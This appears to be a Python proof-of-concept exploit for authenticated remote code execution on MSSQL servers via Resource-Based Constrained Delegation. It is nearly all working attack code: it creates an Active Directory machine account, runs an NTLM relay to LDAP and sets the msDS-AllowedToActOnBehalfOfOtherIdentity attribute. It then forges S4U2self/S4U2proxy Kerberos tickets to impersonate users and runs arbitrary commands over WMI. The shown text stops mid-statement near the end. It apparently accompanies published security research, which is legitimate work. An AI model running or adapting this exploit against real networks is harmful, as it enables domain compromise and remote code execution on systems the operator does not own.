PoC MSSQL RCE exploit using Resource-Based Constrained Delegation
#!/usr/bin/env python | |
# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html | |
# this is a rough PoC | |
# requirements for RCE: | |
# - the attacker needs to either have or create an object with a service principal name | |
# - the MSSQL server has to be running under the context of System/Network Service/a virtual account | |
# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts) | |
# - NTLM has to be in use | |
# notes on this PoC: | |
# - LDAPS relaying has not been implemented | |
# - a command line switch for doing the initial connection for LDAP has also not yet been implemented | |
# - mssql has to be listening on a TCP port | |
# - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool | |
# - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10; | |
# the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends | |
# on which account you're using, and the quickest check is to just try) | |
# - it's just a PoC | |
# - it probably has bugs | |
# - it might fry everything and wasn't written for production use | |
# - the author is not liable for how others use this code | |
import os | |
import sys | |
import string | |
import SimpleHTTPServer | |
import SocketServer | |
import base64 | |
import random | |
import struct | |
import ConfigParser | |
import string | |
import argparse | |
import datetime | |
from time import sleep | |
from argparse import * | |
from threading import Thread | |
from pyasn1.codec.der import decoder, encoder | |
from pyasn1.type.univ import noValue | |
from impacket import tds | |
from impacket.ldap import ldaptypes | |
from impacket.spnego import SPNEGO_NegTokenResp | |
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile | |
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS | |
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse | |
from impacket.krb5 import constants | |
from impacket.krb5.ccache import CCache | |
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 | |
from impacket.krb5.types import Principal, KerberosTime, Ticket | |
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive | |
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart | |
from impacket.dcerpc.v5.dcomrt import DCOMConnection | |
from impacket.dcerpc.v5.dcom import wmi | |
from impacket.dcerpc.v5.dtypes import NULL | |
from binascii import hexlify, unhexlify | |
from struct import unpack | |
from ldap3.operation import bind | |
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM | |
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED | |
# adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py | |
class MSSQLCommand: | |
def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False): | |
self.target = target | |
self.port = port | |
self.username = username | |
self.password = password | |
self.domain = domain | |
self.windows_auth = windows | |
self.k = doKerberos | |
self.mssql_connection = None | |
self.conn = False | |
self.dc_ip = kdcHost | |
if hashes: | |
self.hashes = '00000000000000000000000000000000:%s' % hashes | |
else: | |
self.hashes = None | |
def run_command(self, command, show_output=False): | |
self.mssql_login() | |
if self.conn == True: | |
print "[*] executing relay trigger" | |
self.mssql_connection.sql_query(command) | |
if show_output == True: | |
self.mssql_connection.printReplies() | |
self.mssql_connection.printRows() | |
print "[+] mssql query complete" | |
else: | |
print "[!] mssql authentication failed" | |
self.mssql_connection.disconnect() | |
def mssql_login(self): | |
self.mssql_connection = tds.MSSQL(self.target, self.port) | |
self.mssql_connection.connect() | |
print "[*] logging in to mssql instance..." | |
try: | |
self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth) | |
except Exception, e: | |
print "[!] mssql authentication failed exception: " + str(e) | |
# checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account | |
class SetupAttack: | |
def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False): | |
self.username = username | |
self.domain = domain | |
self.dn = dn | |
self.machine_username = machine_username | |
self.machine_password = machine_password | |
self.encoded_password = None | |
self.server_hostname = server_hostname | |
self.dc_ip = dc_ip | |
self.use_ssl = use_ssl | |
self.ldap_connection = None | |
if nthash: | |
self.password = '00000000000000000000000000000000:%s' % nthash | |
else: | |
self.password = password | |
def get_unicode_password(self): | |
password = self.machine_password | |
self.encoded_password = '"{}"'.format(password).encode('utf-16-le') | |
def ldap_login(self): | |
print "[*] logging in to ldap server" | |
if self.use_ssl == True: | |
s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL) | |
else: | |
s = Server(self.dc_ip, port = 389, get_info = ALL) | |
domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login | |
try: | |
self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM) | |
if self.ldap_connection.bind() == True: | |
print "[+] ldap login as %s successful" % domain_user | |
except Exception, e: | |
print "[!] unable to connect: %s" % str(e) | |
sys.exit() | |
# I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5 | |
def create_account(self): | |
if self.machine_username == '': | |
self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) | |
if self.machine_username[-1:] != "$": | |
self.machine_username += "$" | |
if self.machine_password == '': | |
self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25)) | |
self.get_unicode_password() | |
dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn) | |
dns_name = self.machine_username[:-1] + '.' + self.domain | |
self.ldap_connection.add(dn, attributes={ | |
'objectClass':'Computer', | |
'SamAccountName': self.machine_username, | |
'userAccountControl': '4096', | |
'DnsHostName': dns_name, | |
'ServicePrincipalName': [ | |
'HOST/' + dns_name, | |
'RestrictedKrbHost/' + dns_name, | |
'HOST/' + self.machine_username[:-1], | |
'RestrictedKrbHost/' + self.machine_username[:-1] | |
], | |
'unicodePwd':self.encoded_password | |
}) | |
print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password) | |
def check_spn(self): | |
search_filter = '(samaccountname=%s)' % self.username | |
self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName']) | |
if self.ldap_connection.entries[0]['servicePrincipalName']: | |
return True | |
else: | |
return False | |
def execute(self): | |
self.ldap_login() | |
if self.check_spn(): | |
print "[+] provided account has an SPN" | |
self.machine_username = self.username | |
self.machine_password = self.password | |
else: | |
self.create_account() | |
if self.server_hostname == '': | |
self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) | |
# was going to add an ADIDNS A record but this script is already a bit long for a PoC | |
self.ldap_connection.unbind() | |
return self.machine_username, self.machine_password, self.server_hostname | |
class LDAPRelayClientException(Exception): | |
pass | |
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py | |
class LDAPRelayClient: | |
def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''): | |
self.extendedSecurity = extendedSecurity | |
self.negotiateMessage = None | |
self.authenticateMessageBlob = None | |
self.server = None | |
self.targetPort = 389 | |
self.dc_ip = dc_ip | |
self.domain = domain | |
self.target = target | |
self.target_hostname = target_hostname | |
self.username = username | |
self.dn = dn | |
# rbcd attack stuff | |
def get_sid(self, ldap_connection, domain, target): | |
search_filter = "(sAMAccountName=%s)" % target | |
try: | |
ldap_connection.search(self.dn, search_filter, attributes = ['objectSid']) | |
target_sid_readable = ldap_connection.entries[0].objectSid | |
target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values) | |
except Exception, e: | |
print "[!] unable to to get SID of target: %s" % str(e) | |
return target_sid | |
def add_attribute(self, ldap_connection, user_sid): | |
# "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>" | |
security_descriptor = ( | |
"\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00" | |
"\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00" | |
"\xFF\x01\x0F\x00" | |
) | |
# build payload | |
payload = security_descriptor + user_sid | |
# build LDAP query | |
if self.target_hostname.endswith("$"): # assume computer account | |
dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1] | |
else: | |
dn_base = "CN=%s,CN=Users," % self.target_hostname | |
dn = dn_base + self.dn | |
print "[*] adding attribute to object %s..." % self.target_hostname | |
try: | |
if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}): | |
print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username) | |
else: | |
print "[!] unable to modify attribute" | |
except Exception, e: | |
print "[!] unable to assign attribute: %s" % str(e) | |
def killConnection(self): | |
if self.session is not None: | |
self.session.socket.close() | |
self.session = None | |
def initConnection(self): | |
print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort) | |
self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL) | |
self.session = Connection(self.server, user="a", password="b", authentication=NTLM) | |
self.session.open(False) | |
return True | |
def sendNegotiate(self, negotiateMessage): | |
negoMessage = NTLMAuthNegotiate() | |
negoMessage.fromString(negotiateMessage) | |
self.negotiateMessage = str(negoMessage) | |
with self.session.connection_lock: | |
if not self.session.sasl_in_progress: | |
self.session.sasl_in_progress = True | |
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
try: | |
sicily_packages = result['server_creds'].decode('ascii').split(';') | |
except KeyError: | |
raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result) | |
if 'NTLM' in sicily_packages: # NTLM available on server | |
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
if result['result'] == RESULT_SUCCESS: | |
challenge = NTLMAuthChallenge() | |
challenge.fromString(result['server_creds']) | |
return challenge | |
else: | |
raise LDAPRelayClientException('[!] server did not offer ntlm authentication') | |
#This is a fake function for ldap3 which wants an NTLM client with specific methods | |
def create_negotiate_message(self): | |
return self.negotiateMessage | |
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): | |
if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: | |
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) | |
token = respToken2['ResponseToken'] | |
print "unpacked response token: " + str(token) | |
else: | |
token = authenticateMessageBlob | |
with self.session.connection_lock: | |
self.authenticateMessageBlob = token | |
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) | |
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) | |
result = response[0] | |
self.session.sasl_in_progress = False | |
if result['result'] == RESULT_SUCCESS: | |
self.session.bound = True | |
self.session.refresh_server_info() | |
print "[+] relay complete" | |
print "[*] running RBCD attack..." | |
user_sid = self.get_sid(self.session, self.domain, self.username) | |
self.add_attribute(self.session, user_sid) | |
return True, STATUS_SUCCESS | |
else: | |
print "result is failed" | |
if result['result'] == RESULT_STRONGER_AUTH_REQUIRED: | |
raise LDAPRelayClientException('[!] ldap signing is enabled') | |
return None, STATUS_ACCESS_DENIED | |
#This is a fake function for ldap3 which wants an NTLM client with specific methods | |
def create_authenticate_message(self): | |
return self.authenticateMessageBlob | |
#Placeholder function for ldap3 | |
def parse_challenge_message(self, message): | |
pass | |
# todo | |
class LDAPSRelayClient(LDAPRelayClient): | |
PLUGIN_NAME = "LDAPS" | |
MODIFY_ADD = MODIFY_ADD | |
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): | |
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) | |
def initConnection(self): | |
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) | |
self.session = Connection(self.server, user="a", password="b", authentication=NTLM) | |
self.session.open(False) | |
return True | |
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py | |
class HTTPRelayServer(Thread): | |
class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): | |
def __init__(self, server_address, RequestHandlerClass): | |
SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) | |
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): | |
_dc_ip = '' | |
_domain = '' | |
_target = '' | |
_target_hostname = '' | |
_username = '' | |
_dn = '' | |
def __init__(self, request, client_address, server): | |
self.protocol_version = 'HTTP/1.1' | |
self.challengeMessage = None | |
self.client = None | |
self.machineAccount = None | |
self.machineHashes = None | |
self.domainIp = None | |
self.authUser = None | |
print "[*] got connection from %s" % (client_address[0]) | |
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) | |
def handle_one_request(self): | |
SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) | |
def log_message(self, format, *args): | |
return | |
def do_REDIRECT(self): | |
rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) | |
self.send_response(302) | |
self.send_header('WWW-Authenticate', 'NTLM') | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Connection','close') | |
self.send_header('Location','/%s' % rstr) | |
self.send_header('Content-Length','0') | |
self.end_headers() | |
def do_OPTIONS(self): | |
messageType = 0 | |
if self.headers.getheader('Authorization') is None: | |
self.do_AUTHHEAD(message = 'NTLM') | |
pass | |
else: | |
typeX = self.headers.getheader('Authorization') | |
try: | |
_, blob = typeX.split('NTLM') | |
token = base64.b64decode(blob.strip()) | |
except: | |
self.do_AUTHHEAD() | |
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] | |
if messageType == 1: | |
if not self.do_ntlm_negotiate(token): | |
self.do_REDIRECT() | |
elif messageType == 3: | |
authenticateMessage = NTLMAuthChallengeResponse() | |
authenticateMessage.fromString(token) | |
print "[+] relaying account %s\\%s" % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) | |
if not self.do_ntlm_auth(token, authenticateMessage): | |
if authenticateMessage['user_name'] != '': | |
self.do_REDIRECT() | |
else: | |
#If it was an anonymous login, send 401 | |
self.do_AUTHHEAD('NTLM') | |
else: | |
self.send_response(404) | |
self.send_header('WWW-Authenticate', 'NTLM') | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Content-Length','0') | |
self.send_header('Connection','close') | |
self.end_headers() | |
return | |
def do_AUTHHEAD(self, message = ''): | |
self.send_response(401) | |
self.send_header('WWW-Authenticate', message) | |
self.send_header('Content-type', 'text/html') | |
self.send_header('Content-Length','0') | |
self.end_headers() | |
# relay | |
def do_ntlm_negotiate(self,token): | |
try: | |
self.client = LDAPRelayClient(dc_ip=self._dc_ip, target=self._target, domain=self._domain, target_hostname=self._target_hostname, username=self._username, dn=self._dn) | |
self.client.initConnection() | |
clientChallengeMessage = self.client.sendNegotiate(token) | |
except Exception, e: | |
print "[*] connection to ldap server %s failed" % self._dc_ip | |
print str(e) | |
return False | |
self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage.getData())) | |
return True | |
def do_ntlm_auth(self,token,authenticateMessage): | |
client_session, errorCode = self.client.sendAuth(token) | |
if errorCode == STATUS_SUCCESS: | |
return client_session | |
else: | |
return False | |
def __init__(self, domain='', dc_ip='', username='', target='', target_hostname='', dn='', port=80): | |
Thread.__init__(self) | |
self.daemon = True | |
self.domain = domain | |
self.dc_ip = dc_ip | |
self.username = username | |
self.target = target | |
self.target_hostname = target_hostname | |
self.dn = dn | |
self.port = int(port) | |
def run(self): | |
httpd = self.HTTPServer(("", self.port), self.HTTPHandler) | |
self.HTTPHandler._dc_ip = self.dc_ip | |
self.HTTPHandler._domain = self.domain | |
self.HTTPHandler._username = self.username | |
self.HTTPHandler._target = self.target | |
self.HTTPHandler._target_hostname = self.target_hostname | |
self.HTTPHandler._dn = self.dn | |
thread = Thread(target=httpd.serve_forever) | |
thread.daemon = True | |
thread.start() | |
# by @agsolino and @elad_shamir see: https://github.com/SecureAuthCorp/impacket/pull/560 | |
class GETST: | |
def __init__(self, target, password, domain, options): | |
self.__password = password | |
self.__user= target | |
self.__domain = domain | |
self.__aesKey = options.aesKey | |
self.__options = options | |
self.__kdcHost = options.dc_ip | |
self.__saveFileName = None | |
self.__lmhash = '' | |
self.__nthash = '' | |
if options.hashes is not None: | |
self.__lmhash = '00000000000000000000000000000000' | |
self.__nthash = options.hashes | |
def saveTicket(self, ticket, sessionKey): | |
print '[*] saving ticket: %s' % (self.__saveFileName + '.ccache') | |
ccache = CCache() | |
ccache.fromTGS(ticket, sessionKey, sessionKey) | |
ccache.saveFile(self.__saveFileName + '.ccache') | |
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey): | |
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] | |
# Extract the ticket from the TGT | |
ticket = Ticket() | |
ticket.from_asn1(decodedTGT['ticket']) | |
apReq = AP_REQ() | |
apReq['pvno'] = 5 | |
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
opts = list() | |
apReq['ap-options'] = constants.encodeFlags(opts) | |
seq_set(apReq,'ticket', ticket.to_asn1) | |
authenticator = Authenticator() | |
authenticator['authenticator-vno'] = 5 | |
authenticator['crealm'] = str(decodedTGT['crealm']) | |
clientName = Principal() | |
clientName.from_asn1( decodedTGT, 'crealm', 'cname') | |
seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
now = datetime.datetime.utcnow() | |
authenticator['cusec'] = now.microsecond | |
authenticator['ctime'] = KerberosTime.to_asn1(now) | |
encodedAuthenticator = encoder.encode(authenticator) | |
# Key Usage 7 | |
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
# TGS authenticator subkey), encrypted with the TGS session | |
# key (Section 5.5.1) | |
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
apReq['authenticator'] = noValue | |
apReq['authenticator']['etype'] = cipher.enctype | |
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
encodedApReq = encoder.encode(apReq) | |
tgsReq = TGS_REQ() | |
tgsReq['pvno'] = 5 | |
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
tgsReq['padata'] = noValue | |
tgsReq['padata'][0] = noValue | |
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
tgsReq['padata'][0]['padata-value'] = encodedApReq | |
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service | |
# requests a service ticket to itself on behalf of a user. The user is | |
# identified to the KDC by the user's name and realm. | |
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) | |
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos' | |
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash | |
# with the following three parameters: the session key of the TGT of | |
# the service performing the S4U2Self request, the message type value | |
# of 17, and the byte array S4UByteArray. | |
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) | |
paForUserEnc = PA_FOR_USER_ENC() | |
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) | |
paForUserEnc['userRealm'] = self.__domain | |
paForUserEnc['cksum'] = noValue | |
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) | |
paForUserEnc['cksum']['checksum'] = checkSum | |
paForUserEnc['auth-package'] = 'Kerberos' | |
encodedPaForUserEnc = encoder.encode(paForUserEnc) | |
tgsReq['padata'][1] = noValue | |
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) | |
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc | |
reqBody = seq_set(tgsReq, 'req-body') | |
opts = list() | |
opts.append( constants.KDCOptions.forwardable.value ) | |
opts.append( constants.KDCOptions.renewable.value ) | |
opts.append( constants.KDCOptions.canonicalize.value ) | |
reqBody['kdc-options'] = constants.encodeFlags(opts) | |
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) | |
seq_set(reqBody, 'sname', serverName.components_to_asn1) | |
reqBody['realm'] = str(decodedTGT['crealm']) | |
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) | |
reqBody['till'] = KerberosTime.to_asn1(now) | |
reqBody['nonce'] = random.getrandbits(31) | |
seq_set_iter(reqBody, 'etype', | |
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) | |
print '[*] requesting s4U2self' | |
message = encoder.encode(tgsReq) | |
r = sendReceive(message, self.__domain, None) | |
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] | |
################################################################################ | |
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy | |
# So here I have a ST for me.. I now want a ST for another service | |
# Extract the ticket from the TGT | |
ticketTGT = Ticket() | |
ticketTGT.from_asn1(decodedTGT['ticket']) | |
ticket = Ticket() | |
ticket.from_asn1(tgs['ticket']) | |
apReq = AP_REQ() | |
apReq['pvno'] = 5 | |
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
opts = list() | |
apReq['ap-options'] = constants.encodeFlags(opts) | |
seq_set(apReq,'ticket', ticketTGT.to_asn1) | |
authenticator = Authenticator() | |
authenticator['authenticator-vno'] = 5 | |
authenticator['crealm'] = str(decodedTGT['crealm']) | |
clientName = Principal() | |
clientName.from_asn1( decodedTGT, 'crealm', 'cname') | |
seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
now = datetime.datetime.utcnow() | |
authenticator['cusec'] = now.microsecond | |
authenticator['ctime'] = KerberosTime.to_asn1(now) | |
encodedAuthenticator = encoder.encode(authenticator) | |
# Key Usage 7 | |
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
# TGS authenticator subkey), encrypted with the TGS session | |
# key (Section 5.5.1) | |
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
apReq['authenticator'] = noValue | |
apReq['authenticator']['etype'] = cipher.enctype | |
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
encodedApReq = encoder.encode(apReq) | |
tgsReq = TGS_REQ() | |
tgsReq['pvno'] = 5 | |
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
tgsReq['padata'] = noValue | |
tgsReq['padata'][0] = noValue | |
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
tgsReq['padata'][0]['padata-value'] = encodedApReq | |
# Add resource-based constrained delegation support | |
tgsReq['padata'][1] = noValue | |
tgsReq['padata'][1]['padata-type'] = 167 | |
tgsReq['padata'][1]['padata-value'] = "3009a00703050010000000".decode("hex") | |
reqBody = seq_set(tgsReq, 'req-body') | |
opts = list() | |
# This specified we're doing S4U | |
opts.append(constants.KDCOptions.cname_in_addl_tkt.value) | |
opts.append(constants.KDCOptions.canonicalize.value) | |
opts.append(constants.KDCOptions.forwardable.value) | |
opts.append(constants.KDCOptions.renewable.value) | |
reqBody['kdc-options'] = constants.encodeFlags(opts) | |
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) | |
seq_set(reqBody, 'sname', service2.components_to_asn1) | |
reqBody['realm'] = self.__domain | |
myTicket = ticket.to_asn1(TicketAsn1()) | |
seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) | |
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) | |
reqBody['till'] = KerberosTime.to_asn1(now) | |
reqBody['nonce'] = random.getrandbits(31) | |
seq_set_iter(reqBody, 'etype', | |
( | |
int(constants.EncryptionTypes.rc4_hmac.value), | |
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), | |
int(constants.EncryptionTypes.des_cbc_md5.value), | |
int(cipher.enctype) | |
) | |
) | |
message = encoder.encode(tgsReq) | |
print '[+] s4u2self complete' | |
print '[*] requesting s4U2proxy' | |
r = sendReceive(message, self.__domain, None) | |
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] | |
cipherText = tgs['enc-part']['cipher'] | |
# Key Usage 8 | |
# TGS-REP encrypted part (includes application session | |
# key), encrypted with the TGS session key (Section 5.4.2) | |
plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) | |
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] | |
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) | |
# Creating new cipher based on received keytype | |
cipher = _enctype_table[encTGSRepPart['key']['keytype']] | |
print '[+] s4U2proxy complete' | |
return r, cipher, sessionKey, newSessionKey | |
def run(self): | |
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
print '[*] getting tgt for %s' % userName | |
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, | |
unhexlify(self.__lmhash), unhexlify(self.__nthash), | |
self.__aesKey, | |
self.__kdcHost) | |
print '[*] impersonating %s' % self.__options.impersonate | |
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey) | |
self.__saveFileName = 'evil' | |
self.saveTicket(tgs,oldSessionKey) | |
# adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py | |
def wmi_exec(target, dc_ip, command): | |
dcom = DCOMConnection(target, oxidResolver=True, doKerberos=True, kdcHost=dc_ip) | |
try: | |
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) | |
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) | |
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | |
iWbemLevel1Login.RemRelease() | |
win32Process,_ = iWbemServices.GetObject('Win32_Process') | |
win32Process.Create(command, unicode('C:\\'), None) | |
dcom.disconnect() | |
except Exception, e: | |
print "[!] exception raised: %s" % str(e) | |
sys.exit() | |
if __name__ == '__main__': | |
parser = ArgumentParser(add_help = True, description = "MSSQL RCE PoC (@3xocyte and @elad_shamir)") | |
parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True) | |
parser.add_argument('-u', '--username', action="store", default='', help='valid domain username', required=True) | |
password_or_ntlm = parser.add_mutually_exclusive_group(required=True) | |
password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password') | |
password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash') | |
parser.add_argument('--mssql-port', action="store", default=1433, help='mssql server port') | |
parser.add_argument('--mssql-user', action="store", default='', help='mssql server username (if different from domain account)') | |
parser.add_argument('--mssql-pass', action="store", default='', help='mssql server password (if different from domain account)') | |
parser.add_argument('--machine-user', action="store", default='', help="machine account name (if provided domain account has no SPN and a machine account will be created)") | |
parser.add_argument('--machine-pass', action="store", default='', help="machine account password (if provided domain account has no SPN and a machine account will be created)") | |
parser.add_argument('--server-hostname', action="store", default='', help="hostname to use for the relaying server (ie, this machine); this should adhere to 'The Dot rule' to elicit NTLM authentication") | |
parser.add_argument('--server-port', action="store", default=80, help="port to use for the relaying server (ie, this machine)") | |
parser.add_argument('dc', help='ip address or hostname of dc') | |
parser.add_argument('target_hostname', help='target mssql server samaccountname') | |
parser.add_argument('target', help='target mssql server fqdn') | |
parser.add_argument('command', help='command to execute over WMI') | |
options = parser.parse_args() | |
print """ | |
_| _| _| | |
_|_|_| _|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _|_| _| | |
_| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _|_|_|_| _| | |
_| _| _| _| _| _| _|_| _| _| _| _| _| _| _| | |
_|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| | |
_| | |
_| | |
""" | |
print "mssql authenticated remote code execution exploit (@3xocyte and @elad_shamir) #shenanigans #wontfix\n" | |
# get dn | |
dn = '' | |
domain_parts = options.domain.split('.') | |
for i in domain_parts: | |
dn += 'DC=%s,' % i | |
dn = dn[:-1] | |
if '.' in options.server_hostname: | |
print '[!] server hostname contains periods and the NTLM relay may fail' | |
attack_setup = SetupAttack(username=options.username, domain=options.domain, password=options.password, nthash=options.nthash, dn=dn, | |
machine_username=options.machine_user, machine_password=options.machine_pass, server_hostname=options.server_hostname, dc_ip=options.dc, use_ssl=True) | |
spn_username, spn_password, server_hostname = attack_setup.execute() | |
print "[*] starting relay server on port %s" % options.server_port | |
s = HTTPRelayServer(domain = options.domain, dc_ip=options.dc, username=spn_username, target=options.target, target_hostname=options.target_hostname, dn=dn, port = options.server_port) | |
s.run() | |
sleep(2) | |
if options.mssql_user and options.mssql_pass: | |
print "[*] using provided mssql credentials" | |
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.mssql_user, password=options.mssql_pass, windows=False) | |
else: | |
